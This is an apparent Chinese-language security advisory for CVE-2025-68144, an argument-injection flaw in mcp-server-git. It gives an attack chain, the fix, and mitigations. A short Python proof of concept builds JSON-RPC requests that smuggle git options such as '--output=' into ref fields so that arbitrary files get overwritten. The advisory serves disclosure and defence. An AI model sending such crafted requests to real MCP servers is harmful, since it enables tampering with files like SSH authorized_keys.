IPBUF安全漏洞报告
English
CVE-2025-68144 CVSS 7.1 高危

CVE-2025-68144 mcp-server-git 命令注入漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-68144
漏洞类型
命令注入
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
mcp-server-git

相关标签

命令注入mcp-server-gitMCPGitCVE-2025-68144高危漏洞文件覆盖输入验证绕过

漏洞概述

CVE-2025-68144是影响mcp-server-git的一个高危命令注入漏洞。该漏洞存在于mcp-server-git 2025.12.17之前的所有版本中。由于git_diff和git_checkout函数直接将用户控制的参数传递给git CLI命令而未进行适当的清理和验证,攻击者可以通过构造特殊的flag-like参数(如--output=/path/to/file)来欺骗git命令解析器。这些参数会被git CLI解释为命令行选项而非git引用,从而绕过安全检查并实现任意文件覆盖。CVSS评分7.1(高危),攻击向量为网络,攻击复杂度低,无需认证但需要用户交互。该漏洞由GitHub安全团队([email protected])发现并披露,建议用户尽快更新至2025.12.17或更高版本以修复此安全问题。

技术细节

该漏洞的核心问题在于mcp-server-git的git_diff和git_checkout函数缺乏输入验证机制。当用户提交参数时,这些参数被直接拼接进git命令中执行。以git_diff为例,正常情况下用户可能传入一个commit hash或分支名作为参数,但攻击者可以构造形如--output=/tmp/malicious.txt的参数。由于git命令会首先解析命令行选项,--output会被识别为git diff的输出选项而非用户预期的git引用,导致git将diff结果写入攻击者指定的任意文件。修复方案采用了两层防护:首先验证参数不以短横线(-)开头,直接拒绝可疑输入;其次使用git rev-parse命令验证参数是否能解析为有效的git引用,确保只有合法的git对象才会被用于命令执行。攻击者若要利用此漏洞,需要诱使目标用户在MCP客户端中执行特定的git命令操作。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统使用存在漏洞的mcp-server-git版本(< 2025.12.17)
STEP 2
步骤2
攻击者通过MCP客户端接口向git_diff或git_checkout函数发送精心构造的请求
STEP 3
步骤3
请求中包含以短横线(-)开头的flag-like参数,如--output=/path/to/file
STEP 4
步骤4
漏洞函数直接将参数传递给git命令,未进行输入验证
STEP 5
步骤5
git CLI将--output解析为命令行选项而非git引用,导致diff结果写入攻击者指定文件
STEP 6
步骤6
成功实现任意文件覆盖,可用于覆盖系统配置文件、SSH authorized_keys等敏感文件

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-68144 PoC - mcp-server-git Command Injection # This PoC demonstrates how flag-like arguments can be injected # into git_diff function to overwrite arbitrary files import json def generate_malicious_request(): """ Generate a malicious request to exploit CVE-2025-68144 The attacker crafts a flag-like argument that git interprets as a command-line option instead of a git ref """ # Normal request - would list a commit normal_request = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "git_diff", "arguments": { "ref": "HEAD" } } } # Malicious request - exploits the vulnerability # --output will be interpreted as git diff option, not a ref malicious_request = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "git_diff", "arguments": { "ref": "--output=/tmp/arbitrary_file.txt" } } } # Alternative attack using git_checkout with -- option injection checkout_malicious = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "git_checkout", "arguments": { "ref": "--force=/path/to/file" } } } return { "normal": normal_request, "malicious_git_diff": malicious_request, "malicious_git_checkout": checkout_malicious } if __name__ == "__main__": poc = generate_malicious_request() print("=== CVE-2025-68144 PoC ===") print("\nMalicious git_diff request:") print(json.dumps(poc['malicious_git_diff'], indent=2)) print("\nExpected behavior: File /tmp/arbitrary_file.txt will be created/overwritten")

影响范围

mcp-server-git < 2025.12.17

防御指南

临时缓解措施
由于官方补丁版本(2025.12.17)可能尚未发布,建议暂时禁用mcp-server-git的git_diff和git_checkout功能,或在MCP服务端增加输入参数的前置检查,过滤所有以短横线开头的参数。同时监控git命令的执行日志,及时发现异常的文件写入行为。对于必须使用的场景,可考虑在git命令执行前增加强制性的参数校验脚本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表